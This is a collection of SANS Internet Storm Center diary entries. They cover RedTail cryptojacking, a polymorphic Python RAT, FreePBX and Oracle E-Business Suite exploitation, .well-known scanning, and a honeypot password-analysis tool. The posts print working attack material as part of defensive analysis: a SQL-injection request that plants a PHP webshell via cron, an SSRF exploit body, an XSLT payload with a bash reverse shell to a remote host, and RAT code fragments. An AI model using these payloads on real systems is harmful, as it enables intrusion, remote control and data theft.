[This is a Guest Diary by Jin Quan Low, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

Ransomware [2] is often the first word that comes to mind when we think about cybercriminals chasing financial gain. It barges in, locks files, drops ransom notes, and causes immediate disruption.

Cryptojacking [3], on the other hand, acts like a quiet trespasser. It slips in unnoticed, makes itself at home, and hijacks computing resources in the background to mine cryptocurrency while the victim stays unaware. Because it rarely causes disruptions, cryptojacking does not get the same level of attention as ransomware. 

Over the past three months, my DShield honeypot captured repeated attempts to deploy RedTail, a cryptojacking malware first observed in early 2024 [4]. RedTail targets Monero cryptocurrency [5], typically gaining access through brute-forced SSH logins or exploiting vulnerabilities and deploying scripts to establish persistence and launch mining processes. The activity observed showed that compromises can extend beyond simple cryptomining, making RedTail a relevant case study for defenders.

Mapping Attacks to MITRE ATT&CK Tactics, Techniques and Procedures (TTPs)

Malware IOCs are very useful for quick detection, but they can be easily invalidated. Attackers only need to change part of their code, and those indicators lose all value. RedTail malware is no exception. Researchers had already detected different hashes of the same malware [6]. 

TTPs on the other hand rarely change and can be leveraged to detect similar threat behaviours. Hence, the observed attack involving RedTail malware will be mapped to the MITRE ATT&CK framework and how we can better defend ourselves. 

ATT&CK framework can be categorized into PRE-ATT&CK and ATT&CK (Refer to Figure 1).

Figure 1: PRE-ATT&CK & ATT&CK (MITRE ATT&CK framework)

 

The following attack sequence observed from my honeypot is mapped to this framework as an example.

PRE-ATT&CK

The early phases — reconnaissance and weaponization — may not always appear in logs, but later activity on the honeypot shows the existence of those phases (refer to Figure 2).

• Reconnaissance: Attackers scan IP ranges to look for exposed services (T1595.001: Active Scanning – Scanning IP Block).
• Weaponization: They develop or package their malware payloads (T1587.001: Develop Capabilities – Malware) and stage them for delivery (T1608.001: Stage Capabilities – Upload Malware).

Figure 2: PRE-ATT&CK phase showing reconnaissance and weaponization techniques observed

 

ATT&CK

ATT&CK phase entails the Deliver, Exploit, Control, Execute and Maintain stages.

The Deliver phase (refer to Figure 3) is mapped to the following stages:

• Initial Access: In my honeypot, attackers attempted brute-force SSH logins and eventually succeeded using valid credentials (T1078.002: Valid Accounts – Local Account).
• Execution: Once inside, attackers ran clean.sh and setup.sh to prepare the environment (T1059.004: Command and Scripting Interpreter – Unix Shell).
• Persistence: Attackers implanted their own SSH keys to maintain access (T1098.004: Account Manipulation – SSH Authorized Keys). This allowed them to return at will, bypassing password controls.

Figure 3: Deliver phase highlighting brute-forced SSH access, script execution, and persistence methods)

 

The Exploit to Execute phase (refer to Figure 4) is mapped to the following stages:

• Defense Evasion: Attackers deleted files to cover their tracks (T1070.004: Indicator Removal – File Deletion). 
• Discovery: Attackers queried system information to confirm compatibility before deploying RedTail (T1082: System Information Discovery).

Figure 4: Exploit and Execute phase showing file deletion and system discovery activity

 

The Execute and Maintain phase (refer to Figure 5) is mapped to the following stages:

• Command and Control: Outbound HTTPS traffic (Port 443) from infected systems to malicious mining pool servers [6]. This matches ATT&CK’s T1071.001: Application Layer Protocol – Web Protocols.
• Impact: RedTail malware is known to hijack CPU cycles to mine cryptocurrency (T1496.001: Resource Hijacking – Compute Hijacking). While subtle, this creates financial and performance costs for victims.

Figure 5: Execute and Maintain stage including outbound pool traffic and cryptojacking impact

 

Unique Observations from Honeypot

While RedTail has been reported in multiple incidents, my honeypot logs revealed several noteworthy behaviors beyond generic cryptojacking activity:

• Brute-forced SSH access: Attackers brute-forced SSH logins before deploying RedTail, showing that weak credentials remain an active entry vector.
• Script-based setup: After gaining access, they uploaded and executed setup.sh to configure the miner. They also ran clean.sh to remove competing cryptomining processes, ensuring RedTail had exclusive use of system resources.
• Persistence through SSH keys: Attackers implanted their own SSH keys into ~/.ssh/authorized_keys, allowing them to return without repeating brute-force attempts.
• Defense evasion: Logs recorded file deletion commands, which indicated that attackers tried to cover their tracks after installation.

These observations show that RedTail campaigns extend beyond simple cryptomining. Attackers maintain persistence, remove competition, and conceal their activity — behaviors that defenders should use when building detection and response strategies.

Mitigation

Defending against RedTail and similar cryptojacking malware requires a two-stage approach: prevention and detection/response.

1. Prevention (First Line of Defense)
   • Hardening Access
     • Use SSH key authentication and disable password logins.
     • Rate-limit SSH login attempts; enforce lockouts on repeated failures (fail2ban).
     • Disable root logins (PermitRootLogin no) and unnecessary services.
   • Patching and Updates
     • Apply security updates.
   • Network Controls
     • Restrict unnecessary inbound access.
     • Segment honeypots and exposed systems from production assets.
     • Block or sinkhole known mining pool connections.
        
2. Detection & Response (Catching What Slips Through)
   • Visibility
     • Enable detailed SSH, process, and outbound network logging.
     • Monitor CPU, memory, and disk I/O for abnormal sustained spikes.
   • TTP-Based Detection
     • Watch for brute-force attempts and repeated failed logins.
     • Flag unauthorized entries in ~/.ssh/authorized_keys.
     • Detect creation of unusual systemd services.
     • Monitor encrypted outbound traffic to unknown/private pools.
   • Response Actions
     • Isolate compromised hosts immediately.
     • Remove attacker SSH keys and terminate mining processes.
     • Rebuild compromised systems from clean images.
   • Continuous Monitoring
     • Track for reinfection attempts.
     • Use honeypots (like DShield) to capture new TTPs and feed them into defenses.

Conclusion

The only way to detect threats is to look for them, and detection has little value without response. Protecting devices and networks remains challenging but achievable with layered defenses. As the world grows more connected and attackers getting craftier, defenders must improve too.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/
[3] https://www.malwarebytes.com/cryptojacking
[4] https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit
[5] https://www.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/
[6] https://isc.sans.edu/diary/30950
[7] https://www.virustotal.com/gui/file/89782d8142297907c9962eebdae29c28df86805a99f38a683ab55c8fa1596dd8/behavior

 

--
Jesse La Grew
Handler

Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c).

To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2].

Here is a simple snippet of code to demonstrate how it works:

remnux@remnux:~$ cat poc.py
import inspect

def dummy_function():
    print("I'm a dummy function!")

def main():
    print("Function code:")
    print(inspect.getsource(dummy_function))

if __name__ == "__main__":
    main()

remnux@remnux:~$ python3 poc.py
Function code:
def dummy_function():
    print("I'm a dummy function!")

Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified - to debug it) or obfuscate it.

In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory:

# Self-modifying code wrapper (simulates packing)
def self_modifying_wrapper():
    """Wrap critical code in a self-modifying layer."""
    log_path = resource_path('debug.log')
    try:
        # Simulate packed code by XORing critical sections
        critical_code = inspect.getsource(main).encode()
        xor_key = random.randint(1, 255)
        packed_code = bytes(b ^ xor_key for b in critical_code)
        # Unpack at runtime
        unpacked_code = bytes(b ^ xor_key for b in packed_code)
        code_obj = marshal.loads(zlib.decompress(unpacked_code))
        exec(code_obj)
        with open(log_path, "a") as f:
            f.write("[+] Self-modifying code executed\n")
        return True
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Self-modifying code failed: {e}\n")
        return False

The malware has also the capability to inject junk code:

def polymorph_code(code):
    """Obfuscate code with advanced randomization and junk code."""
    log_path = resource_path('debug.log')
    try:
        # Advanced variable renaming
        var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()}
        for old_var, new_var in var_map.items():
            code = code.replace(old_var, new_var)
        # Insert complex junk code
        junk_snippets = [
            "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))),
            "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)),
            "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)),
            "try: pass\nexcept: pass\n"
        ]
        lines = code.split('\n')
        for _ in range(random.randint(10, 20)):
            lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets))
        code = '\n'.join(lines)
        # Shuffle function order
        code = code.replace('\r\n', '\n')  # Normalize line endings
        functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL)
        if functions:
            random.shuffle(functions)
            code = code.replace(''.join(functions), ''.join(functions))
        with open(log_path, "a") as f:
            f.write("[+] Advanced polymorphic transformation applied\n")
        return code
    except Exception as e:
        with open(log_path, "a") as f:
            f.write(f"[-] Polymorphic transformation failed: {e}\n")
        return code
        
It's easy to get a nice overview of the RAT capabilities:

Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities:

remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c
async def socket_network_scan():
async def scan_host(ip):
async def try_router_hack(ip):
async def test_default_credentials(ip, service, port):
async def deliver_payload(ip, share=None, service=None, port=None):
async def execute_payload(ip, target_path, service):
async def get_phone_number(stolen_data):
async def send_stolen_data(stolen_data, channel, logins_path):
async def spread_to_network():
async def report_spreading_status(ip, message):
async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"):
async def record_screen_webcam(voice_channel, ctx):
async def on_ready():
async def commands(ctx):
async def encrypt(ctx):
async def mine(ctx):
async def screenshot(ctx):
async def audio(ctx):
async def listen(ctx):
async def execute(ctx, *, command):
async def upload(ctx):
async def download(ctx, *, filename):
async def xworm(ctx):
async def archive(ctx):
async def system_info(ctx):
async def run(ctx, *, program):

In the same way, here is the list of bot commands:

# Bot command: Show available commands
@bot.command()
async def commands(ctx):
    log_path = resource_path('debug.log')
    with open(log_path, "a") as f:
        f.write("[+] Sending command list\n")
    commands_list = """
    /commands - Show this help message
    /encrypt - Encrypt victim's files
    /mine - Start cryptominer (simulated)
    /screenshot - Capture screenshot
    /audio - Capture audio
    /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel
    /execute <command> - Run shell command
    /upload - Upload attached file to victim's PC
    /download <filename> - Search and send file from victim's PC
    /xworm - Deploy Xworm payload
    /archive - Archive critical files
    /keylog_start - Start keylogger
    /keylog_stop - Stop keylogger and send log
    /system_info - Get system information
    /run <program> - Run a program
    """
    await ctx.send(commands_list)

The file was uploaded on VT as "nirorat.py". I did not find any reference to this RAT. If you have more details, let us know!

[1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228
[2] https://docs.python.org/3/library/inspect.html
 

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

FreePBX is a popular PBX system built around the open source VoIP system Asterisk. To manage Asterisk more easily, it provides a capable web-based admin interface. Sadly, like so many web applications, it has had its share of vulnerabilities in the past. Most recently, a SQL injection vulnerability was found that allows attackers to modify the database.

For a PBX, there are a number of obvious attacks. For example, they are often abused for free phone calls, to impersonate the companies running the PBX, or to hide the true origin of phone calls. Manipulating the FreePBX database would certainly facilitate these types of attacks. However, I noticed some slightly more interesting attacks recently attempting to achieve complete code execution.

A typical request looks like:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

The "brand" parameter is used for the SQL injection, and the parameter decodes to:

 ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d >/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

FreePBX uses the "cron_jobs" database to assist in the management of cron jobs. Inserting a line into the table results in simple, arbitrary code execution. The command injected creates a file /var/www/html/rspgf.php, with the following content:

<?php header('x_poc: CVE-2025-57819'); echo shell_exec('uname -a'); unlink(__FILE__); ?>

So, a simple test to see if the system is vulnerable. Interestingly, the file deletes itself after being accessed by the attacker. The cron job should persist and re-create the file every minute, which makes the "unlink" kind of pointless. I do not see any hits in our honeypot for this file. Reviewing the cron_jobs table should be another good way to find similar exploits.

Please make sure your FreePBX instance is up to date. The vulnerability was initially made public on August 28th [1], and was already exploited at the time.

[1] https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

 

[Update: I added the server part delivering the payload]

This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1].

One script I found interesting is what Oracle calls "exp.py" [2]. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install.

The script takes two parameters: The URL of the target and the IP/port of a config server.

The first request sent by the script:

GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header.

POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 0

This request will return a CSRF token that is extracted from the body of the response.

Finally, the actual exploit request is created:

POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 4324
Content-Type: application/x-www-form-urlencoded

These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be:

redirectFromJsp=1
getUiType=<?xml+version="1.0"+encoding="UTF-8"?>
<initialize>
++++<param+name="init_was_saved">test</param>
++++<param+name="return_url">
http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: evilhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie:

POST /

++++<param+name="ui_def_id">0</param>
++++<param+name="config_effective_usage_id">0</param>
++++<param+name="ui_type">Applet</param>
</initialize>

Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer.

Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). 

In short, the exploit does:

• Verify the hostname name
• Retrieve a CSRF token
• sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising.

The "evilhost" the script connects to is implemented with a simple Python script, server.py, implementing two paths [3]:

GET /OA_HTML/help/../ieshostedsurvey.xsl
POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp

Both return the same XSLT style sheet:

<xsl:stylesheet version="1.0"
                    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
                    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
                    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
                    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'CiAgICB2YXIgc3RyaW5nYyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCdqYXZhLmxhbmcuU3RyaW5nJyk7CiAgICB2YXIgY21kcyA9ICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5uZXdJbnN0YW5jZShzdHJpbmdjLDMpOwogICAgamF2YS5sYW5nLnJlZmxlY3QuQXJyYXkuc2V0KGNtZHMsMCwnc2gnKTsKICAgIGphdmEubGFuZy5yZWZsZWN0LkFycmF5LnNldChjbWRzLDEsJy1jJyk7CiAgICBqYXZhLmxhbmcucmVmbGVjdC5BcnJheS5zZXQoY21kcywyLCdiYXNoIC1pID4mIC9kZXYvdGNwLzguOC44LjgvNDQ0NCAwPiYxJyk7CiAgICBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKTsKICAgIDEKICAgICAgICA=')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>

 

The Base64 encoded part includes the user configurable command to execute:

    var stringc = java.lang.Class.forName('java.lang.String');
    var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
    java.lang.reflect.Array.set(cmds,0,'sh');
    java.lang.reflect.Array.set(cmds,1,'-c');
    java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1');
    java.lang.Runtime.getRuntime().exec(cmds);
    1

 

For the Windows version of the exploit, cmd /c is used instead of sh -c.

Note that the request referenced in exp.py requests "/OA_HTML/help/../ieshostedsurvey.jsp", not the .xsl stylesheet. I can only guess at this point that there may be a request triggered to translate the .jsp file, which may be related to the SSRF issue. Maybe someone else has a better idea, or more insight into how the app server works.

[1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
[2] https://www.virustotal.com/gui/file/aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
[3] https://www.virustotal.com/gui/file/6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b/community

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I have been writing about the ".well-known" directory a few times before. Recently, about attackers hiding webshells [1], and before that, about the purpose of the directory and why you should set up a "/.well-known/security.txt" file. But I noticed something else when I looked at today's logs on this web server. Sometimes you do not need a honeypot. Some attackers are noisy enough to be easily visible on a busy web server. This time, the attacker hit various URLs inside the ".well-known" directory. Here is a sample from the > 100 URLs hit:

.well-known/ai-plugin.json
.well-known/apple-app-site-association
.well-known/oauth-authorization-server
.well-known/openid-configuration
.well-known/terraform.json

Before you read any further: Some of these files are required. Do not just delete them without first talking to your developers or system administrators!

terraform.json: As the name implies, it is used by Hashicorp's Terraform product. Terraform uses this file to discover API endpoints. A bit like OpenAPI/WSDL [1]

ai-plugin.json: Sites can advertise various AI plugins, particularly ChatGPT. The file describes the plugins (for humans and machines) and defines how to interact with them.

.well-known/apple-app-site-association: Developers may indicate that a specific website/domain is associated with a particular app. This allows content from the website to be used in the app, and credentials may be used across the website and app.

.well-known/oauth-authorization-server and .well-known/openid-configuration: These two are similar in content and purpose. If you use OAuth or OpenID Connect (OIDC), these URLs will help a relying party to figure out what keys to use to verify any signatures created by this service.

Given this small sample, it is pretty apparent why an attacker may scan these. They are handy for reconnaissance and finding out the relationships between sites. As mentioned above, do not blindly delete them as they may be necessary. However, the content of these files should be controlled and reviewed. While at it, ensure you have a .well-known/security.txt file. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Draden Barwick, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].]

DShield Honeypots are constantly exposed to the internet and inundated with exploit traffic, login attempts, and other malicious activity. Analyzing the logged password attempts can help identify what attackers are targeting. To go through these passwords, I have created a tool that leverages HaveIBeenPwned’s (HIBP’s) API to flag passwords that haven’t appeared in any breaches.

Purpose

Identifying passwords that haven’t been seen in known breaches is useful because it can indicate additional planning and help identify patterns in these less common passwords. Anyone that operates a honeypot (and receives a lot of data on attempted use of passwords in plaintext) could benefit from this project as an additional starting point for investigations.

Development

HaveIBeenPwned maintains a large database of breached passwords and offers an API to tell if a given password has been compromised. This is done by making a request to “https://api.pwnedpasswords.com/range/#####”. Where the “#####” part in a request is the first 5 characters (prefix) of the SHA1 hash of the tested password. The site will return a list of the last 35 characters (suffix) for any password hash in the database that starts with the provided prefix. Each entry includes a count of how many times the corresponding password has been seen in breaches. This prevents anyone from knowing the full hash of the password we are looking for based on the request alone. While this consideration is not important for our use with the DShield honeypots (as all passwords seen are publicly uploaded), it is important to understand because HIBP does not allow for searching with the full hash directly [2].

To gather a list of all passwords my honeypot has gathered, I used JQ to parse the cowrie.json files located in the /srv/cowrie/var/log/cowrie directory. This command matches on any login failures or successes, and returns the password field from matching entries:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* 

To extend this, we can remove duplicates using sort and uniq and save the unique passwords to a file:

jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

As of writing, this took the number of passwords from 51,601 to 16,210 unique passwords.

Now that we have a list of unique passwords, the next steps are to: read the created password file, take the SHA1 hash of each line, query the API for the hash prefix, and check for the hash suffix in the results.

To accomplish this, I created a Python script that utilizes one input file and two output files. The input file has a list of passwords to check with one entry per line. One output file stores all passwords that have been checked, the SHA1 hash, and how many times HIBP has seen the password (this file is a CSV used to avoid checking a password in the input file if it has been checked before). The other output file stores the plaintext of any password never seen by HIBP. The command line usage looks like this:

python3 queryHIBP.py uniquepass.txt passwordResults.csv unseenPasswords.txt

This resulted in the identification of 1,196 passwords that HIBP has not seen.

Code Breakdown

The code, available on GitHub [3], has thorough commenting but we will examine some parts here to gain a deeper understanding of how it functions.

In Figure 1, we can see the section of code that handles reading the results file that includes all passwords we have searched for. This is expected to be formatted as a CSV file with a header of “password,sha1,count”. As explained above, this helps avoid checking passwords unnecessarily.

The code opens the file with csv.DictReader, checks for “password” in the header, then uses a for loop to go through all of the rows to pull non-empty passwords and add them to a set. The set is returned at the end of the function.

 
Figure 1: Code used to read all previously checked passwords.

 

In Figure 2, we can see the code used to make API requests and handle a common error. First, a loop is established and the API request is made. Second, we check for a 429 response code which means there were too many requests. If there was a 429 error, HIBP will add a “Retry-After” header which lets us know how long to wait before trying again. The user agent is specified elsewhere as “PasswordCheckingProject” because HIBP states that “A missing user agent will result in an HTTP 403 response” [4].

Figure 2: Code used to make API requests and handle expected 429 errors.

 

Figure 3 shows the behavior for handling additional errors and normal function. Firstly, “resp.raise_for_status” is called which would raise an exception if there were an error with the HTTP request. If there’s no error, we simply iterate through all lines of the response to save the hash suffix and count in a dictionary, then return it. If an exception is raised, we increment an “attempt” variable which lets us cap the number of retries which is set to three by default. If the max is hit here, the code will print an error message indicating what prefix was being checked and exit. If there are more retries remaining, the script will wait 5 seconds before continuing. Figure 2 has a similar check for max retries to avoid a potential infinite loop of 429 errors.

Figure 3: Code used to store & return request results or deal with continued/unexpected errors.

 

Implementation

To download the project and try it out with some test data, one can run the following:

git clone https://github.com/MeepStryker/queryHIBP.git
cd queryHIBP
python3 queryHIBP.py ./sampleInput.txt ./passwordResults.csv ./unseenPasswords.txt

As the script runs, it will print out each unseen password identified and a short summary at the end as seen in Figure 4.

Figure 4: Script output using real data.

 

Automation

To automate the use of this tool, I created a cron job to run the JQ command & output results to a file and made another job to run the script with the needed arguments. These are set to run daily with the script running 5 minutes after the JQ command. This uses the following crontab entries:

0 17 * * * jq -r 'select(.eventid=="cowrie.login.failed" or .eventid=="cowrie.login.success") | [.password] | @tsv' /srv/cowrie/var/log/cowrie/cowrie.json* | sort | uniq > ~/uniquepass.txt

5 17 * * * python3 ~/queryHIBP.py ~/uniquepass.txt ~/passwordResults.csv ~/unseenPasswords.txt

The script runs 5 minutes after the JQ command to ensure there is more than enough time to create the input file. Since there is a limit on how long logs are retained, there are no concerns about this ever starting to take longer.

I chose this method over adding parsing functionality into the script out of convenience. Using the script would require additional logic and either hardcoding locations to check for logs or dealing with more arguments. As it is designed, anyone can easily plugin a list of passwords without having to worry about many command line options or editing the script.

Results

The script accurately provides information on passwords that HaveIBeenPwned has not seen in prior breaches. While there were more unseen passwords than one may expect (1,196 or ~7.4% of all unique passwords as of writing), it provides interesting insight into what some actors may be targeting. The results also reveal patterns for password mutations that are being leveraged for access attempts:

deploy12345 deploy123456 deploy1234567 deploy12345678 deploy@2022 deploy@2023 deploy@2025 deploy2025 deploy@321 deploypass P@$$vords123 P@$sw0rd# P4$$word!@# P455wORd

P@55W0RD2004 Pa$$word2016! pa33w0rd!@ Pa55w0rd@2021 passw0rd!@#$ pass@w0rd.12345 passwd@123! PaSswORD@123 password@2!@ PaSswORd2021 password!2024 password!2025 Password43213 password!@#456

Password Patterns & Analysis

Analyzing the passwords seen in the above Results section can provide some insight into what techniques are being used to generate passwords.

Consider the above sample of results. Broadly speaking, this ‘deploy family’ of passwords was likely generated by starting with a base password of “deploy” and adding common modifiers to increase complexity. Seen here are good examples of the most simple ones: adding the year (with an @ sign in this case) and adding sequential numbers.

The rest of the entries above are all based on the word ‘password’. These are more complex than what we saw with ‘deploy’. Below are three entries, a plain explanation of a Hashcat rule that could be used to come up with it, and a sample implementation of the rule:

• P4$$word!@#
  • Capitalize the first letter, replace a’s with 4’s, replace s’s with $’s, add !@# to end - c sa4 ss$ $! $@ $#
• P@55W0RD2004
  • Capitalize all letters, replace a’s with @’s, replace s’s with 5’s, replace o’s with 0’s, and add a year to the end - u sa@ ss5 so0 $2 $0 $0 $4
• Password!2024
  • Capitalize the first letter, add ! and a year to the end - t0 $! $2 $0 $2 $4

Both Hashcat and John the Ripper can make these modifications by using rules to augment password lists. The rules allow various changes to input such as replacing or swapping certain characters with others. Note that while much of the rules syntax between these tools is similar, there are some differences [5].

Looking through the unseen passwords, we can also see more specific targets such as Elasticsearch, Oracle, PostgresSQL, and Ubuntu. Figure 5 shows some of these passwords, which use the same kind of modifications mentioned earlier, and illustrate the relative difference in frequency.

Figure 5: Passwords related to specific services/platforms.

Overall Takeaway

While a good amount of manual analysis will still be required, these results can provide a lot of value and the script helps cut down on time. We can learn more about common password modifications to avoid and even get an idea of the relative interest of different targets. In Figure 5 alone, we can see that PostgresSQL may be roughly two times more likely to be targeted than Elasticsearch with newer installations being targeted in particular.

For future work, I would add a feature to recheck the known unseen passwords to identify if they happen to be newly breached.

Additionally, I may consider adding two features for convenience. The first would be re-sorting the unseen file since it is append only. The second would be parsing features to simplify automation and allow the script to provide more functionality for end users.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://haveibeenpwned.com/API/v3#PwnedPasswords
[3] https://github.com/MeepStryker/queryHIBP
[4] https://haveibeenpwned.com/API/v3#UserAgent
[5] https://hashcat.net/wiki/doku.php?id=rule_based_attack#compatibility_with_other_rule_engines

 

--
Jesse La Grew
Handler